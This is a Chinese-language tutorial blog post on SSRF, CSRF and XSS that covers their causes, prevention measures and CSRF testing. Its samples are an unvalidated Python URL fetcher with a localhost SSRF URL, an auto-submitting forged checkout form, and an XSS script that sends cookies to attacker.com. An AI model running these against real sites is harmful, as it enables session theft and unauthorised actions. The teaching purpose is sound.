跳至正文

ssrf、csrf和xss漏洞

ssrf

  • SSRF利用了服务器端应用程序对外部资源的访问功能，攻击者可以指定请求的目标URL，并在服务器上执行该请求。
  • SSRF的目标是服务器内部或外部的资源，攻击者可以尝试访问和操作这些资源，例如访问数据库、获取敏感文件等。

ssrf产生原因

  1. 不充分的输入验证：当应用程序未对用户提供的输入进行充分的验证和过滤时，就容易受到SSRF攻击。攻击者可以通过提供恶意的URL参数或其他输入来欺骗服务器执行未经授权的请求。
  2. 缺乏目标限制：如果服务器对请求的目标范围没有进行适当的限制，就可能导致SSRF漏洞。服务器可能允许访问任意的外部资源，包括内部系统、数据库或其他第三方服务，使攻击者能够利用服务器作为代理来访问受限资源。
  3. 缺乏授权验证：当服务器在发起对外部资源的请求时，如果未进行适当的授权验证，就可能存在SSRF漏洞。这意味着攻击者可以发送伪造请求，绕过授权检查，并获取未经授权的访问权限。
  4. 绕过访问控制：如果服务器的网络访问控制策略配置不正确，就可能导致对内部资源的访问不受限制，从而产生SSRF漏洞。攻击者可以利用这种配置错误来直接访问内部系统或敏感数据。
  5. 使用不可信的输入源：如果服务器允许使用不可信的输入源，如用户提供的URL或用户提交的文件，就可能受到SSRF攻击。攻击者可以伪造恶意的输入，使服务器访问到攻击者指定的资源。
    这些原因导致了SSRF漏洞的存在，攻击者可以利用这些漏洞来绕过应用程序的安全措施，访问受限资源、执行未经授权的操作或发起其他恶意行为。为了避免SSRF漏洞的出现，开发人员应该对输入进行严格的验证和过滤，限制访问受信任的外部资源，并配置适当的访问控制策略来限制服务器对内部资源的访问。

    import requests
def fetch_webpage(url):
response = requests.get(url)
return response.text
用户输入的URL作为参数传递给fetch_webpage函数
user_url = input("请输入要获取的网页URL：")
content = fetch_webpage(user_url)
print(content)

    *如，这是一个应用程序，允许用户输入一个URL，并从该URL获取内容并返回给用户。应用程序的代码类似于以下示例（使用Python的requests库）：在这个例子中，用户输入的URL被直接传递给fetch_webpage函数，然后应用程序使用requests.get()函数从该URL获取内容。
    攻击者可以利用这个漏洞来构造一个恶意的URL参数，以执行未经授权的操作或访问受限资源。例如，假设应用程序在内部网络中可以访问到敏感数据的API，但是没有进行适当的验证和限制。攻击者可以构造一个恶意URL，将目标设置为该敏感数据的API，从而获取敏感数据。
    恶意URL参数的示例：

    http://localhost/api/get_sensitive_data

*在这个例子中，攻击者将URL参数设置为敏感数据的API路径，例如 /api/get_sensitive_data。如果服务器没有对这个URL进行验证或限制，应用程序会尝试从这个URL获取内容，并返回敏感数据给攻击者。

ssrf预防

  1. 输入验证和过滤：对于接收用户输入的URL或其他参数，进行严格的输入验证和过滤。确保输入符合预期的格式和结构，防止恶意构造的URL或参数通过验证。
  2. 白名单验证：限制允许访问的外部资源。建立一个白名单，列出应用程序可以访问的受信任的外部域名或IP地址。只允许请求目标在白名单中的资源，拒绝其他资源的访问。
  3. 协议验证：限制允许使用的协议。对于允许的协议（如HTTP、HTTPS），进行明确的验证和限制。不允许使用其他协议，如file://、ftp://等，以防止访问本地文件系统或其他危险资源。
  4. 本地访问限制：限制应用程序访问本地或内部资源。确保应用程序不会尝试访问内部系统、私有网络或敏感文件等资源。限制应用程序的访问权限，避免滥用或越权访问。
  5. 验证和授权：在应用程序发起对外部资源的请求时，进行适当的验证和授权检查。验证用户或应用程序是否有权限访问目标资源，以防止未经授权的请求。
  6. 安全配置和沙箱环境：确保服务器和应用程序的安全配置正确。限制服务器对外部资源的访问权限，配置网络访问控制策略以限制出站连接。在可能的情况下，将应用程序置于安全沙箱环境中，以隔离和限制对外部资源的访问。
  7. 安全更新和补丁：及时更新和应用安全补丁，以修复已知的漏洞和安全问题。监控并及时采取措施来解决任何已发现的SSRF漏洞或相关安全问题。

csrf 基本理解

  • 通过伪造真实用户对服务端的请求，来访问服务资源，使用真实用户的身份来执行恶意请求。这是服务端没有对真实用户会话与接收到的请求进行比对验证导致的。
<body>
  <form id="maliciousForm" action="http://www.example.com/checkout" method="POST">
    <input type="hidden" name="product_id" value="123">
    <input type="hidden" name="quantity" value="1">
  </form>
  <script>
    documentt.getElementById('maliciousForm').submit();
  </script>
</body>

*如，这是一个攻击者伪造的购买商品表单。攻击者会诱使受害用户点击表单，这会向目标网站发起恶意购买请求。这个表单本应该是目标网站生成返回给用户的，但是由于存在csrf漏洞，导致这个表单是攻击者生成的，目标网站没有对在这个表单中增加身份验证，如csrf令牌，即无法证明表单是用户填写的，那么攻击者就可以随机生成有害的表单诱使用户点击，造成目标网站的利益损失。

csrf预防

  1. 使用CSRF令牌：实施CSRF令牌是最常见和有效的预防措施之一。在每个表单提交或敏感操作中包含一个唯一的CSRF令牌，并将其与用户会话相关联。当用户提交表单时，服务器会验证令牌的有效性，以确保请求是合法且具有授权的。
  2. 启用SameSite属性：将Cookie的SameSite属性设置为Strict或Lax，以限制在跨站点请求中发送Cookie。这可以防止第三方网站通过用户浏览器发送CSRF请求并利用用户的会话。
  3. 验证Referer头：服务器可以验证请求的Referer头，确保请求来自同一站点，而不是外部站点。然而，需要注意的是Referer头并非始终可靠，因为某些浏览器或代理可能会篡改或不发送Referer头。
  4. 验证请求来源：服务器可以验证请求的来源，例如检查Origin或者检查请求头中的自定义字段。只接受来自可信站点或预期来源的请求。
  5. 加入双重认证：对于敏感操作，可以实施双重认证机制，例如要求用户输入密码、短信验证码、指纹识别等。
  6. 随机化请求参数：在请求中添加随机生成的参数，例如时间戳或随机字符串，使攻击者无法准确构造有效的请求。
  7. 限制敏感操作的访问权限：确保只有经过授权的用户才能执行敏感操作。使用适当的身份验证和授权机制，限制用户访问权限，以防止未经授权的操作。
  8. 安全配置和最佳实践：遵循安全配置和最佳实践，例如及时更新和修补软件漏洞、使用安全的编程实践、避免在URL中传递敏感数据等。
    需要注意的是，预防CSRF攻击需要综合多种措施，因为单一的防御措施可能不足以提供完全的保护。应根据具体的应用程序和框架，结合最佳实践来选择和实施适当的预防措施。同时，开发人员还应定期审查和测试应用程序，以确保其安全性并及时应对新出现的安全威胁。

测试是否具有csrf漏洞

  1. 观察请求中是否包含CSRF令牌：查看应用程序的请求中是否包含CSRF令牌。通常，CSRF令牌会作为一个参数或一个HTTP头部字段出现。如果请求中没有CSRF令牌或没有进行有效的验证，那么可能存在CSRF漏洞。
  2. 测试跨站请求的可接受性：尝试发送一个跨站请求，看应用程序是否接受并处理了该请求。可以使用工具如Burp Suite、Postman等，构造一个包含恶意操作的请求，例如修改密码或进行非法的交易，然后观察应用程序的响应。如果应用程序接受了这样的请求并执行了相应的操作，那么可能存在CSRF漏洞。
  3. 检查防护措施的缺失：审查应用程序的代码和配置，查看是否存在缺少或不正确实施的防护措施，如缺少CSRF令牌的验证、未限制敏感操作等。如果发现这样的缺失，那么应用程序可能容易受到CSRF攻击。
  4. 进行手动测试：使用各种不同的请求方式（如GET、POST）和不同的数据，手动测试应用程序是否容易受到CSRF攻击。试图发送恶意请求并观察应用程序的响应。这可以帮助发现潜在的CSRF漏洞。
    请注意，在进行安全测试时，务必获得合法的授权，并遵守适用的法律和道德准则。在测试期间，避免对生产环境或未经授权的系统进行攻击，以防止对他人和系统造成损害。
    如果你是应用程序的开发者或管理员，我建议你定期进行安全审计和漏洞扫描，以及实施适当的安全措施来防范CSRF攻击。

xss基本理解

  • 攻击者在网站嵌入恶意代码，使其在受害者浏览器端执行，采集受害者的信息。 
    <script>
// 获取用户的Cookie信息并发送到攻击者的服务器
var cookie = document.cookie;
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + encodeURIComponent(cookie);
</script>

    *这是一个窃取受害者cookie的代码，会返回给攻击者的服务器。

标签: